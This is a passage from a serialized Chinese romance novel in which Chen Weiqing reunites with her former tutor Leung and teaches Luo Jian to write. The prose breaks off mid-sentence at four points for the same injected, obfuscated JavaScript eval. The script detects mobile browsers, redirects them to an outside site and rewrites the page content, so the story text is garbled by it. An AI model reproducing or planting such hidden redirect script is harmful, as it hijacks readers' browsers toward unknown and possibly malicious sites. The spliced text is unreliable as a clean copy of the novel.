气氛微妙地停顿了一下。几个旁观的女眷交换了眼神，仿佛悄悄在脑中勾勒“定情传闻”的雏形。 老先生眯着眼睛呵呵一笑：“看来沈家和陈家也没有那么剑拔弩张嘛。” 陈蔚青浑身一僵，一时不知道该怎么回话，沈时砚撇了眼她，看出了她的尴尬，于是替她接过话：“都是传言，生意是生意，平日里两家人来往也没必要伤了和气。” 然后陈蔚青在一群人点头称是的氛围中露出一个完美的假笑。宴会正酣，几位贵客已经转入了“香料行情”“洋行走向”的话题中，陈蔚青恰好借口“去拿些酒”从人堆中退出来。 陈蔚青刚松了口气，还未来得及走向饮品区，便看见大厅另一端，一抹熟悉的身影正站在落地窗边。 唐敬微面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502444|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着一个戴金边眼镜的中年洋人，正从容地与他以流利的英文交谈。她语速不快，每一个词都精准得体，像是一曲经过训练的女中音，悦耳却不亲切。陈父站在她旁边，头发被发蜡抹得油亮，穿着刚熨过的燕尾服，正附和着笑。 唐敬微说了句什么，外国人爽朗一笑，握了握她的手。她轻巧地做了个不失优雅的告别，便转身朝厅中扫了一眼。 那目光如灯，陈蔚青几乎立刻感受到它的落点。 ——他们看见了她。 不止她，还有她身边的沈时砚。 下一刻，陈母牵着陈父优雅地穿过人群，仿佛是一对正走上舞台的演员，每一步都带着仪式感。 “蔚青。”她的声音温柔却不容忽视，“站在这儿不介绍一下你的朋友吗？” 陈父咳了一声，像是临时补妆的人，“就是那个谁……沈家的少爷？” “沈公子。”陈母微笑着纠正，又转头看向他，“你今晚的打扮，很得体。” “夫人夸奖。”沈时砚微微欠身，“您今晚也非常惊艳。” “油嘴滑舌。”陈父乐了，拍了拍他的背，又看了看女儿，意味深长地说：“不过年轻人嘴甜些也好，省得整天绷着脸。” 母亲眼角轻轻一挑：“你们两个今晚……看起来很登对。” 蔚青下意识地挺直脊背，露出一个克制而妥帖的笑容：“谢谢母亲。” “是你约的？”陈父问得直白。 “是我请他来的。”她不闪躲。 “好。”陈母意味不明地笑了笑，似乎在权衡什么。她没有直接追问什么“缘分”“交往”，而是轻轻转身，“洋行那几位今晚都是中枢人，我和你父亲过去应酬一下。你们两个别乱跑。” 说完，她与陈父再次回到社交阵地，留下沈时砚和陈蔚青站在一片银光交织的厅灯下，像被留下的一对模糊背影。 “她不打算追问？”沈时砚小声问。 “还没。”蔚青淡淡地说，“她总是先留下空间，再收紧。” “那我是不是该紧张点？”他看着她。 “你已经做得很好了。”她移开视线，声音轻得几不可闻。 11. Leung 宾客如织，笑语喧腾，宴会厅里人影晃动，仿佛每个角落都沾满香槟与繁复的寒暄。陈蔚青穿过一个又一个小圈子，面带笑意地与人点头，却始终不在其中停留。 她心里很清楚自己在找谁。 可她几乎快要放弃了。 走到后花园通向露台的长廊时，她甚至已经不抱希望，只是凭着一点本能走出去——然后，她看到了。 露台上灯光不甚明亮，靠近外墙的栏杆旁，站着一个身影。 他穿着一身深色旧西装，剪裁不合时宜，肩线略显松垮，像是多年前量身、近几年没怎么穿过。但他还是梳了头，站得笔直，手里举着一只高脚杯，杯中是未喝尽的红酒，酒面在他手中晃出一个个小旋涡。 他半倚在露台边，脸埋在半影里，像是在独自对话，又像是早已习惯了这种旁观的姿态。 一瞬间，陈蔚青的脚步几乎停下。 她有点不敢靠近。 她不知道他还会不会像从前一样说话平和。也不知道今晚的邀请，对他来说究竟意味着什么——是回应，还是最后的道别。 她低声唤了一句：“……梁先生？” 他闻声回头，眉眼间并没有明显的惊讶，只是淡淡一笑，像平日里上课那样：“蔚青。” 她怔住了，随后轻轻呼了一口气，走上前：“你怎么不进去？” “进去太热了。”他抬了抬手里的酒，“他们的酒也太甜了。全是听不下去的话，闻不惯的香，满耳朵尽是利率、股本、进出口……我怕我会在厅里说出不该说的话。” 他眯起眼睛，把酒杯放在眼前，透过酒杯里的酒看花园对面的灯光：“简直就像香港，看起来光鲜繁华，中国人和英国人、旧日规矩和新潮风气，全揉在一起，你也分不清这里到底是谁的家。” 他放下酒杯，眼神落在远处夜色沉沉的花园上，仿佛那里才是另一个世界的入口。 “那你……为什么还是来了？”她轻声问。 梁悯初没立刻回答。他低头看了一眼酒杯，又抬头望向露台外的夜色。 “可能是回来告别吧。”他说，语气轻得像风吹过月下的树影，“我去过很多地方，但只有在这里的时光……才有一点‘我属于这里’的感觉。” 陈蔚青一怔，没有出声。 “后来我想，也许人老了——”他顿了一下，笑了笑，“人累了的时候，总想回到某个让自己看起来像样一点的地方。” 他侧过脸看她，神情温和：“你现在过得挺像样的。” 陈蔚青低下头：“……你呢？” “我？”他轻轻地一笑，像是对自己说，“或许回香港教书吧，回去那个英国人用中文名，中国人用英文名的地方。他们总叫我回家，我真不知道他们怎么能把那种地方当作‘家’。” 风吹过他肩膀上那件西装，那是一件已经洗得发白的旧物，被他穿得像校服。 “还是教书适合我。规矩，不近人情，最好能把感情藏在一页又一页的讲义纸里。”他说着，把酒杯轻轻地放在了露台的石栏上，像是放下一件早就准备送走的东西。 脚步声从走廊那头传来。 “蔚青，你怎么——”是沈时砚的声音。他看起来是四下找了一圈，手里还拎着她刚刚忘在饮品台边的晚香玉。 他踏上露台的一瞬，看见栏杆旁的那个人影，下意识地挽住了陈蔚青的手腕，像是自动进入“演戏状态”。 “我找了你半天——” 他话还没说完，终于看清了那人的脸，一瞬间像是被定住了。 “……梁先生？” 梁悯初没有立刻说话，他的眼神在两人握着的手腕之间停了一下，随即收回，微微一笑：“沈公子。” 沈时砚像是忘记了怎么把手放开，只站在那里，眼里闪过一丝慌乱。他的肩膀不自觉地绷紧了，声音低下来：“您……也在。” 陈蔚青的呼吸轻得几不可闻，她觉得那一刻露台的夜风都像是被抽空了，只剩三人站在这一片光影边缘，像在一张斑驳的旧相片上，各自站在命运的剪影里。 “我只是出来透透气。”梁悯初淡淡开口，声音依旧温和，“你们挺好，两家人的事情没有影响你们吧？” 陈蔚青那一刻几乎要哭出声来，她说话了，声音里满是苦涩，甚至有些颤抖，她只能祈祷已经微醺了的老师没能听出来，但张口还是调侃的笑话：“罗密欧与朱丽叶嘛，老师。” 梁悯初仿佛没听清，又像是故意在思索，他的目光轻轻落在她身上，眼底是一种难以言说的复杂——大概是惊讶…吗？他静静地站了一会儿，然后低低地笑了。最初只是唇角微扬，紧接着，那笑容像是被夜风吹开了一道裂缝，终于在眼角绽出一点湿意。 “可别。”他大笑着，最后说，“罗密欧与朱丽叶的结局多悲惨啊——梁山伯与祝英台也不行。我可不想我的学生最后化蝶了。” 我的学生——这个词在陈蔚青的心头猛烈的敲了一下，像是有什么东西化开了。 梁悯初还是站在原地，手指慢慢摩挲着杯沿。露台的风吹起他鬓角的几缕发丝，他的脸掩在夜色里，看不清是清醒，还是醉了。 “你这些日子……”陈蔚青终于开口，声音有些轻，像一颗掉在地毯上的珠子，“都在做什么？” 梁悯初沉默了几秒，像是在确认她是真的问了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502445|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个问题。然后他转过身，仰头喝尽杯中余酒，慢慢说道：“往北方走了一点，替我一个旧同学讲了几节课。也去看了一个姨母，她还认得我——还说，‘你穿这身衣服看起来像个正经人’。”他顿了顿，低低笑了一声，“其实那身西装是我爸留下的。” 他把酒杯放下，继续道：“后来我去了趟租界，看到人贴着‘中国人与狗不得入内’的旧告示被撕掉了，可地上还踩着原来告示的边角。报纸写着‘新时代’，可坐在咖啡馆里的人换了名字没换脸，服务生的围裙还是脏的。” 他抬头看她，眼神已经没有了醉意，只剩下一种极其疲惫的清醒。 “我不知道我是谁了。别人看我，是‘英国回来的香港人梁先生’。走到讲堂，是‘香港籍临时讲师’。出了海关，他们叫我‘Leung’。”他慢慢说，“我起初以为我可以四海为家，后来才知道……我根本没有家。” 陈蔚青听着，喉咙像被什么堵住了。她伸手扶了一下露台的栏杆，明明站得好好的，却仿佛怕自己下一秒会倒下去。 “那你……”她鼓起全部的力气，像是在赌上一切尊严，“你能回来吗？” 这句话说出口的那一瞬，她几乎是闭着眼的。她怕他笑，也怕他不笑；怕他说不，也怕他说是。怕的是，这一切都没有意义。 她几乎是孤注一掷的，这几乎是整个晚上最容易暴露这场谎言的一句话、一个行为，但她知道她以后可能再没有机会了，她近乎绝望地，问出了一个听起来再平常不过的问题。 她睁开眼，看着他，看着他像是被风吹得微微晃动的身影。 梁悯初没有立刻回答。他只是望着她，然后又望着站在她身后的沈时砚。陈蔚青不知道他是看透了这个谎言，还是只是单纯的醉了。 他忽然笑了，声音很低，像是酒意泛起：“好啊。” 他没有问回哪里，也没有问多久，只是轻描淡写地答应了一句——像是应她一个愿，也像是给自己一个喘息的借口。 那一瞬间，陈蔚青差点控制不住地往前走，像个十岁的小孩那样扑进他怀里，在他肩头痛快地哭一场，说一句“我好想你”。她知道她不行，她甚至知道这个“好啊”并不一定能作数。 她站在那里，手指绞紧了裙摆，喉咙泛酸，心跳得像一颗太过饱满的果实，在风中摇晃到极致，差一点就要烂开，却没有落地。 冷风吹过来，吹在她脸上，她像逐渐苏醒了一般，她拉起裙摆，回忆着老师曾经教给她的，朝他行了一个西式的礼——仿佛这种不合时宜的得体能弥补什么，她挽起沈时砚的手，离开了露台。 她回头，往后看，一点都看不清那人的脸。 12. 新青年 秋风卷着黄叶扫过陈家的后院，但秋天的南州和夏天没什么两样，枝头仍然是郁郁葱葱的，天气还是闷的可怕，只是地上偶多了几片落叶和一丝丝的若有若无的寒意。 锅炉房门吱呀一响，被猛地推开。 “我要学写字！”一个熟悉的声音响亮地在室内炸开。 陈蔚青手里的铅笔头顿了一下，还没来得及转身，就见罗简一脚踢开门，大马金刀地站在门口，头发有点乱，脸颊微红，像是一路小跑上来的。 她还没说话，罗炽南慢悠悠地抬起头，从一堆打孔卡纸后探出半张脸：“你发什么疯？” “我不疯！”罗简气鼓鼓地瞪他，“我就想学写字！” 蔚青一时间没反应过来，眨了眨眼，先指着罗简，又指了指罗炽南：“你这个当哥哥的，怎么不教她写字？” “我也不会啊。”他理直气壮地说，声音一落，又像怕挨数落似的，补了一句，“……真的不会。” “你不会写字？”蔚青难以置信地看着他，“那你认字吗？” “认啊！但，呃，反正那些简单的肯定没问题……”罗炽南越说心越虚，举起一根还沾着油污的手指，“别这样看我，我还会英文呢……就是那种拆机器时看懂型号的英文。” 蔚青扶额，哭笑不得：“行吧！我来教你。” 罗简眼睛立刻亮了，像捡到了糖：“真的？” “我也不是白教的。”蔚青一边说，一边敲了敲桌上那沓刚写到一半的纸稿，“你得帮我朋友黎婉芝出出主意。她想办一张刊物，可最近一直没什么起色。你鬼点子多，说不定能帮上忙。” “什么刊物？写什么的？”罗简一歪头，眼睛闪闪发亮地看着她。 “新思想啊，新社会啊什么的。” “婉芝那报纸还在办啊？”沈时砚头也没抬，“我还以为早就因为没人看休刊了。” “她可是说要办成南州的《新青年》。”蔚青笑了，扬了扬眉，“阿简，去，把你那写字的东西都拿来，我这就给你上课。” 锅炉房的老木桌被清了出来，油迹斑斑的卡纸、电阻和导线被小心推到一边，腾出一块空地。阳光从高窗斜斜照进来，落在桌面上，那是一道秋日特有的暖黄。 “坐好。”陈蔚青像个小先生似的，把一张泛黄的格纸摊在桌上，“来，先写‘人’字。” 罗简托着腮坐下：“你别说，这样一坐还真像小时候茶水铺里那几个学徒上课。” “你小时候就该上这个课。”蔚青把笔往她手里一塞，“握稳了。” 罗简试着在纸上写下一个“人”，歪歪扭扭，像个快摔倒的小人。 “哇，好丑。”她自己先笑了出来。 “你也知道丑？”蔚青也忍不住笑了，“歪成这样也敢拿出来。” “你当年写字就很美？”罗简反击道。 蔚青抬头想了想，明明是一个笑话，她的回复却格外的严肃：“太久了，不记得了。”她顿了顿，补了一句，“而且我小时候是跟老师一个字一个字学的。” 话音刚落，气氛就有些微妙地静了一下。 罗简察觉出来了，转开话题：“那我是不是也算拜你为师啦？” “我可没你那大礼。”蔚青拍了拍她的脑袋，“你快写，写十遍‘人’，再写‘心’。写完我来检查。” “是——先生。”罗简拉长了语调，嘴角却忍不住翘着，低下头一笔一画写起来。 锅炉房里一时安静下来，只听见铅笔在纸上沙沙作响。远处有鸟飞过，高窗外秋叶簌簌落下。 沈时砚正拿着锉刀修电机，他瞥了一眼那边写字的两人，嘴角一翘。 “天、地、玄、黄——”罗简念着笔画，咬着牙写下一排，像是在给每一笔都按上力气。 陈蔚青坐在她旁边，一边给她正字，一边笑：“好丑啊。” “你才丑。”罗简哼了一声，“我写得可认真了。” 蔚青弯起嘴角，把她写得歪七扭八的“玄”字挑出来：“你这‘玄’像个摔倒的老头。” “老头就老头！”罗简撇撇嘴，“他还能站起来。” 她们从《千字文》写到《弟子规》，写到“天地玄黄，宇宙洪荒”，又写到“床前明月光，疑是地上霜”。 陈蔚青扶着脸看她：“你学得挺快的呀，虽然还是很丑，但比大多数初学者快多了。” “我才不是初学者。”罗简下巴一抬，语气倔强又有点小骄傲。 “哦？”蔚青挑眉，“你学过？” “不是。”她甩甩手腕，喘了口气，“我小时候经常捡报纸看，码头那边，别人不要了就丢到水边，我就翻回来擦擦干净看。那些字，我不懂，但看得多了也能记下一点。” 陈蔚青一下子静了，像是没想到她会这么说。 “你还看报纸？”她语气放轻了点，“都看些什么？” “不知道啊。”罗简也没抬头，“有时候是北边来的报纸，有时候是香港的。什么都看，有命案、有香粉铺打广告，还有人写诗。”她顿了顿，小声说：“有一回我还看见过写一个新人女演员阮玲玉的，她长得真漂亮啊……我也想演电影。” 这一句话，她说得很轻，但铅笔仍在纸上划着，像是不想让那点羞涩显得太明显。 陈蔚青没有立刻回话，只是低下头，帮她把最后一行“明月”改正了一笔。 “行了行了，诗写够了。”陈蔚青收起那页满是李白和杜甫的字练，“现在写点重要的。” “写什么？”罗简甩了甩手腕，仿佛真把自己当成了正经学生。 “写你名字。”蔚青把一张干净的纸推过去，拿笔在角落写了两个字作范例：“羅、簡” “……这我会写。”罗简嘀咕着照着写了一遍，歪歪扭扭，但倒也能认。 “我一直想问，”陈蔚青托着下巴看她，“你为什么叫‘简’？‘罗简’，听起来像是英文名‘Jane’的音。” “我也不知道啊。”她把铅笔放下，“听说是以前养大我的那个码头工人给我取的。那时候有个在船上做事的读书人路过，说他最近在翻译一本洋书，说是女主角也叫‘简’，挺厉害的……所以就拿来给我起名了。” “……不会是《JaneEyre》吧？”沈时砚的声音从铁块堆后响起，他慢悠悠地探出头来，“我以前读过一点点。讲的是一个从小被寄养在舅妈家的孤女……”他说到这里突然顿住，像是意识到了什么，没再往下讲。 空气突然静了几秒。 罗简低下头，盯着那张写有“罗简”二字的纸，一笔一画的，看得出神。 “我也不知道。”她忽然开口，声音低下来，“我连那个翻译书的人是谁都不知道，也不记得那个把我养大，把我扔到街上的工人是谁。” 她抬起头，眼睛盯着桌上的那盏小台灯，“我不知道我爸爸是中国人还是妈妈是中国人。我有时候想……如果我要找他，那我该去找一个男人，还是一个女人？” 没人说话。 “我以前以为我是中国人。”她咬着牙笑了一下，“但小时候在巷子里玩，总有孩子说我是‘半个鬼子’。我又不会说洋文，洋人看我像乞丐，中国人看我像外人。现在长大一点了，虽然也没人说了，但……” 她手指一点一点地摩挲着那两个字：“我只是……有时候不知道我是谁，我该去哪。” 沈时砚似乎想说什么，最终只把眼神移开，继续在他手里的纸上画电路图。 她绽开一个苦涩的笑：“但我现在在纺织厂有工作！还有朋友！还有人教我写字！已经很好了！” 陈蔚青慢慢伸手，把那张写有“罗简”的纸叠起来，压在她面前。 “你已经有名字了。”她轻声说，“你已经有地方写下这个名字了。” 锅炉房里一时静得出奇，连窗缝灌进来的风都像是迟疑了一下。 就在这时，罗炽南“哗”地一下站起来，打破了沉默。 他走过来，弯腰从罗简面前抢过那张写有“罗简”的纸，嘴里嘟囔着：“哎呀，哭什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502446|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭……难看死了。” 他抄起铅笔，动作笨拙地在她名字的下面写了三个字：“羅熾南”。笔划粗重、歪歪扭扭，像是六岁小孩的字。 “看，”他扬了扬纸，“这上面不是还有我呢嘛！” 他一边把纸推回去，一边说：“怎么就没有家了？你哥我还活着呢，你爱找爸找妈，那是你自己的事；可我在这儿呢，从小到大都在这儿。你哭了，我打人；你挨饿，我想办法偷吃的回来。” 他嗓子有点哑：“我不是给你唱过戏，不是给你剪过头发了吗？这不都是哥哥做的吗？” “你说你没家。”他声音低了点，“那我算什么？” 罗简张了张嘴，没说出话来。她把那张纸重新抓到手里，看了好一会儿，突然一把扑过去，把哥哥抱住，死死搂住不撒手。 “……我有家。”她的声音闷在他肩膀里，带着点鼻音，“我早就有家了。” “哎哟你轻点。”罗炽南嫌弃地拍了拍她的后背，“你一身汗，黏死了。” 锅炉房门又一次“砰”地被推开，比刚才还响。 “干嘛——你们这是在锅炉房搞罗曼蒂克啊？”黎婉芝的声音像一颗弹珠一样弹进屋里，一边说一边走进来，嘴角噙着笑，像是刚从喜剧舞台上跳下来的女学生。 陈蔚青猛地回头，眼睛一亮：“婉芝？你怎么来了？” 黎婉芝穿着一身偏旧的蓝白相间布裙，腰间系着根带子，背上斜挎着一只被书和报纸撑得圆滚滚的帆布包。她头发被风吹得有点乱，鞋跟还粘着一小片不知哪里带来的树叶。她一手叉腰，一手扯下背包，像个准备宣布什么的人。 “再不来你就完蛋了。”她喘了口气，“你家刚才派人杀到我家门口，说是来找你，我只好硬着头皮说你去女中帮我爸教书了。真不知道还能帮你瞒多久……” 她说着话时已经扫到了屋里另一位陌生但又特别的身影——罗简。 “欸？这就是你说的那个小姑娘？”她挑眉看向蔚青，眼神里写着“我很感兴趣”。 “没错。”蔚青一手拉过罗简，一边笑着说，“我正教她写字呢。打算让她以后替你那份伟大的报纸添砖加瓦。” 黎婉芝当即双眼发光，一步冲过去拉住罗简的手，像发现新大陆似的：“太好了太好了！我离办成南州的《新青年》又近一步啦！” 她一边握着罗简的手摇，一边转头对蔚青说：“等我哪天去法国了，这张报纸就交给你了！” “你认真的？”蔚青挑眉，“南州的新青年？你还真是敢想。” “怎么啦？”婉芝理直气壮，“我办不成《新青年》，那是因为没人给我写文章！你这不是已经在亲手培养作家了？” “你怎么不说，是因为你没有周树人给你供稿呢？”蔚青撇嘴。 “也有这方面的原因。”婉芝不以为意地耸耸肩，还做了个夸张的鬼脸，“但鲁迅不来，蔚青就来嘛！” 罗简全程懵懵地看着这两个一唱一和的小姐，说不出话来。 “她……她真的要让我写文章？”她小声问。 “你会写字我就让你写。”黎婉芝笑得眼睛弯弯的，“不会也没关系，我觉得有潜力。” “她这是在夸你。”陈蔚青忍不住解释。 “哦！”罗简终于反应过来，咧嘴一笑。 这时沈时砚抬起头，语气不咸不淡地插了一句：“婉芝你那张报纸现在有几个读者啊？” “呸，你懂什么。”婉芝白了他一眼，拽着帆布包坐在桌边，“我可是南州最有理想的女报主编，有蔚青看不就行了。” “居然还有蔚青在看，那比我想象的多。”沈时砚继续低头摆弄电阻丝。 “你少酸！”婉芝从包里掏出几张粗糙的油印稿子，摊在桌上，“呐，你看，第六期。” 众人拿起报纸，你一言我一语地讨论了起来。五人互相打趣的声音再锅炉房里此起彼伏，锅炉房外风吹得树叶哗啦啦响。罗简别过头，看着窗外。 今年一定是个丰收的年。 13. 周六上午 “但娜拉毕竟是走了的。走了以后怎样？易卜生并无解答……” 陈蔚青伏在桌上，指尖轻轻按着纸页，眼睛却看向窗外。窗外阳光正好，一群麻雀在桂树上跳来跳去，啾啾喧闹，像在议论什么。 她已经读了这段演讲词整整三天。最初只是黎婉芝觉得这个演讲讲得好，极力推荐她读，她一开始也就是看看，但越读，越像是听见有人在她耳边轻声问话—— “你呢？你会离开吗？离开以后，你要做什么？” 她没法回答，她想起娜拉那句话：“我是一个人，跟你一样的一个人，至少我要学做一个人”。 但她是什么样的一个人呢？或者说要做、想做一个什么样的一个人呢。 她想起婉芝眼睛亮亮的，说要办最好的新刊物；想起罗简小小声地说她也想演电影；想起沈时砚在女中的教室里拘谨又滔滔不绝地讲他的计算机器；想起罗炽南说自己要管理一个工厂让妹妹过上好生活。她忽然有点喘不过气来，无论如何，每一个人仿佛都有、都在走自己的路，只有她还站在原地，不知道往哪去。 她起身，小心把纸稿收好，换好一身最“规矩”的衣裙。浅灰色的学生装，头发扎得整整齐齐，像个认真的学生，背上了一个帆布的斜挎书包。 然后她去了南州市第一男子中学。 她听黎婉芝提过，男中有一个新来的老师，是香港人，讲数学的，说话掺着英音和英文单词，还引用西方哲学震住了半个班。 她觉得，也许是他。 她站在校门口，从下午等到傍晚。 南州市第一男子中学的校门很大，灰砖青石，带着新式学堂的气派。她站在门口的时候，身旁的男学生三三两两从里头走出来，有人看了她一眼，有人迅速移开目光。一个戴着眼镜的少年从她身边快步走过，耳根红得像要冒烟。 她装作没看见，只紧紧攥着书包带。 不久后，一个穿着洗得发白的长衫的老夫子拄着拐出来，抬眼见她站在门口，眉头顿时拧了起来：“小姑娘家家的，成何体统？男校门口晃悠，不知道会让人说闲话吗？” 她低下头，微微躬身行礼：“先生，我只是来找一位老师。” 老夫子哼了一声，嘀咕着“如今的姑娘都这么不检点了”，摇着头走远了。 她站在台阶下，日头从头顶移到了西边，树影从她脚下慢慢拉长。汗水从脊背淌下来，被风一吹又凉，她的裙摆轻飘飘地贴在腿上，心也渐渐沉了。 “他会不会早就走了？” “他真的还在吗？” “……他会不会不愿意见我？” 她咬着嘴唇，指尖微微颤抖，几次想走，又几次停住。她不知道她到底在坚持什么。她知道那可能根本不是他——也许是另一个香港来的数学老师，也许根本没这个人。但心里那点固执就像深秋的树根，明明该枯萎，却还缠在土里，死死地不肯放手 天色慢慢暗下来，街灯开始亮起，校门口只剩下偶尔几个迟到的学生。她的胃空空的，脚也站麻了，连头发都被风吹得有些乱。 然后，她看到了那个人影。 他从校门深处走出来，背着帆布书包，穿着一件旧长衫，还是那种熟悉的步伐——慢而稳。 她几乎不敢相信自己的眼睛。 他也看到了她。 他顿住了脚步，脸上露出一丝极轻的、几乎无法察觉的震动。风吹动他的衣角，那一瞬间，时间仿佛倒回了从前，在陈家的书房，在讲义堆里，在那片被压到平静的时光里。 “……蔚青？”他终于开口。 她轻轻点头，声音有点哑：“老师。” 他走近了，看着她，眼神里是一种被岁月磨过的平静。她张了张嘴，许久才问：“你能……和我聊聊吗？” 他看了她好一会儿，像是在读她的心思，最终点了点头。 “……好。” 她忽然不知道该去哪了，转头看着这条熟悉却又陌生的街，犹豫地说：“现在……还有哪儿能坐吗？” 他叹了一口气，那语气既像无奈又像旧梦重温的自嘲：“那就…去那个糖水铺吧。” 糖水铺要从广南路的黑市那边进去，那一带出了名的乱。天色暗下来之后，街道两旁的铺子都已经收摊，只剩一些路边点着煤油灯的小摊，还在低声吆喝。风一吹，灯影摇晃，像一双双眼睛在盯着过路的人。 她走在梁悯初的身后，脚步轻得几乎不出声。她发现自己的视线总是不自觉地落在他的背上——他的背还是那样挺，步伐还是那样沉稳，几缕白发仔细地被他藏在黑发里。仿佛换了身份、换了时光，他依旧是那个站在她身边，偷偷给她讲那些“一只金丝雀并不需要的知识”的老师。 他们转过街角，钻入一条小巷。 那是她第一次来黑市时也经过的地方。 那时她是跟着罗家兄妹，抱着拥抱世界的背面的一腔勇气。如今重返旧地，却是在老师身后，像一个归队的学生。 巷子里依旧是那种难辨气味的潮湿空气，还有掺着糖油和铁锈味的混合臭味。地面坑坑洼洼，角落里还有人蹲着低声交易。几个小贩朝他们看来，其中一个认出了梁悯初，咧嘴笑着点了点头，又识趣地没搭话。 她没说话，却感觉自己的心跳得厉害，不是害怕，而是那种从高处往下跳的失重感。 糖水铺在黑市的尽头。 秋天来了，老板终于把那个写着“杨枝甘露”的白布招牌摘了下来，换上了“红豆汤圆”，门口有一丛快要枯了的吊兰。一走近，一股带着椰汁味的热甜气息扑面而来，熟悉的记忆扑进鼻腔，让人一瞬间松懈下来。 梁悯初推开门，门上挂着的铜铃“叮当”一响，屋里蒸汽氤氲，灯光昏黄。那个穿着背心、拿着大勺的老板正往锅里倒糯米浆，一抬头就看见了他。 “哟，梁老师！”老板一边放下锅铲，一边咧开嘴笑，“好些天没来了啊。哎？这个小姐不是……”他皱了皱眉，没说下去。 “麻烦给我们来两碗绿豆沙。”梁悯初语气轻得像风，“一碗不要太甜。” “知道知道。”老板擦了擦手，转身就去碗橱边忙活。 陈蔚青在靠窗的位置坐下，望着窗外巷子里晃动的灯火，一时间有点恍惚。这个地方，上一次来，她是被拉着进来的；这一次，是他带她进来的。 等碗被老板端上桌，热气带着绿豆清香扑鼻而来，她才回过神。那碗绿豆沙冒着热气，没有加海带，而是加了一些糯米丸子。 “是你最喜欢的。”他说。 她本想得体地感谢老师的用心，但她没说话，低下头，轻轻搅了搅碗里的绿豆，绿豆被搅得和糯米丸子混在一起，她声音微微发紧：“你……我来不只是为了这碗绿豆沙的。” 他沉默了一下。 “我该向你道歉。”他说，声音低低的，语气却出奇的诚恳，“我上次误解你了。还没跟你说对不起。” 她怔了一下，抬起头看他。 他的眼神没有闪躲，一如从前那样，直视着她，像是再讲一堂认真不过的课。 “那天……我说了很多不该说的话。”他继续说，“有点迟了，对吧？” 那一刻，陈蔚青只觉得胸口有什么轻轻一震。她以为这辈子都不会听见这句话了。她轻轻地摇了摇头，又怕老师看不见她的回答，于是又用力地摇了摇头。 糖水的香味、黑市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502447|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的喧哗、她冰冷的手指和滚烫的碗沿，都在这一刻交织成一个模糊又真实的世界。 她声音有点哑：“我以为……你再也不肯见我了。” 他笑了笑：“我答应了你要回来的。” 回来就好，我好想你。她想这样说，但又怕这样不够得体，又会把他赶走。她发现她不会说话了，就像个无助的孩子。 于是两人都没再说话，碗里的绿豆慢慢冷却，碗边结起一点点糖霜的花边。铺子里其他桌也陆续坐了人，喧闹声慢慢地盖过她的心跳，她冷静一下，问道：“为什么去男中教书呢？为什么不回…陈家？” 他愣了一秒，随即笑着回答：“影响不好，我总得考虑到沈公子的感受。” 过了一会儿，他才轻声道：“你长大了。” 陈蔚青抬起头，眨了眨眼：“你这话我小时候就听你说。” “那时候是说你个头长高了。”他语气一顿，似乎想笑，却没有笑出来，“现在是真的长大了，还有了真正值得你去喜欢的人。”他把真正那两个字咬得很重 她心中泛起一阵酸楚，那是个谎言，那是个她亲手编织的谎言。 “其实我……”陈蔚青忽然低声开口，声音像掺着夜风似的，软软地飘在糖水铺的蒸汽里，“我还有很多事情不会。” 她攥紧手里的勺子，目光落在碗底那几颗已经快要散开的绿豆上。 “比如那个机器——我不是还在做嘛，之前你说过的布尔代数……我最近一直想找资料，可是也不知道找谁问。”她咬了一下唇角，“你上次提过那些逻辑判断、函数映射，我记了一半，又记不全。” 她说得小心翼翼，像是怕惊动什么，又像是怕求得太多。 梁悯初听着，眉间的光影微动了一下。他没有急着回答，只是轻轻地从怀里掏出一张纸巾，擦了擦手指沾上的糖水，然后才开口：“我可以教你。” 蔚青猛地抬起头，眼神像是忽然亮了：“真的？” “当然是真的。”他笑了笑，“但只能周末，我现在是个穷老师，平日里还得讲五六节课——我还要吃饭呢。” 蔚青也笑了，眼神里却有一丝难以掩饰的期待：“那你……不能直接来我们那儿吗？就是我们平时做东西的那个地方，是个锅炉房，我可以告诉你在哪的。”她的语气已经是小心中带点试探了。 梁悯初没立刻回答，只是用勺子慢慢搅着碗里的糖水。过了片刻，他才摇了摇头。 